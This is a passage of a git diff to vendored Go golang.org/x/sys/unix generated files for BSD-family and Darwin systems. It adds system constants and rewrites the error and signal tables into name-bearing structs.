-+ {103, "ENOPOLICY", "policy not found"},
-+ {104, "ENOTRECOVERABLE", "state not recoverable"},
-+ {105, "EOWNERDEAD", "previous owner died"},
-+ {106, "EQFULL", "interface output queue is full"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGABRT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-index 8f40598b..61304717 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_dragonfly_amd64.go
-@@ -3,7 +3,7 @@
-
- // +build amd64,dragonfly
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -168,6 +168,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- DLT_A429 = 0xb8
-@@ -353,6 +355,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -835,6 +838,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -873,6 +880,40 @@ const (
- MAP_VPAGETABLE = 0x2000
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x20
-+ MNT_CMDFLAGS = 0xf0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x4
-+ MNT_LOCAL = 0x1000
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NODEV = 0x10
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_TRIM = 0x1000000
-+ MNT_UPDATE = 0x10000
-+ MNT_USER = 0x8000
-+ MNT_VISFLAGMASK = 0xf1f0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x1000
- MSG_CTRUNC = 0x20
- MSG_DONTROUTE = 0x4
-@@ -897,6 +938,7 @@ const (
- NET_RT_FLAGS = 0x2
- NET_RT_IFLIST = 0x3
- NET_RT_MAXID = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-@@ -973,7 +1015,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1158,6 +1203,36 @@ const (
- SO_TIMESTAMP = 0x400
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDB = 0x9000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TCIFLUSH = 0x1
- TCIOFF = 0x3
- TCIOFLUSH = 0x3
-@@ -1427,142 +1502,150 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "no medium found",
-- 94: "unknown error: 94",
-- 95: "unknown error: 95",
-- 96: "unknown error: 96",
-- 97: "unknown error: 97",
-- 98: "unknown error: 98",
-- 99: "unknown error: 99",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EWOULDBLOCK", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOMEDIUM", "no medium found"},
-+ {94, "EUNUSED94", "unknown error: 94"},
-+ {95, "EUNUSED95", "unknown error: 95"},
-+ {96, "EUNUSED96", "unknown error: 96"},
-+ {97, "EUNUSED97", "unknown error: 97"},
-+ {98, "EUNUSED98", "unknown error: 98"},
-+ {99, "ELAST", "unknown error: 99"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "thread Scheduler",
-- 33: "checkPoint",
-- 34: "checkPointExit",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "thread Scheduler"},
-+ {33, "SIGCKPT", "checkPoint"},
-+ {34, "SIGCKPTEXIT", "checkPointExit"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-index 1d3eec44..84824587 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc144648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x804c6490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc06c648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -968,6 +1015,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -979,8 +1027,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
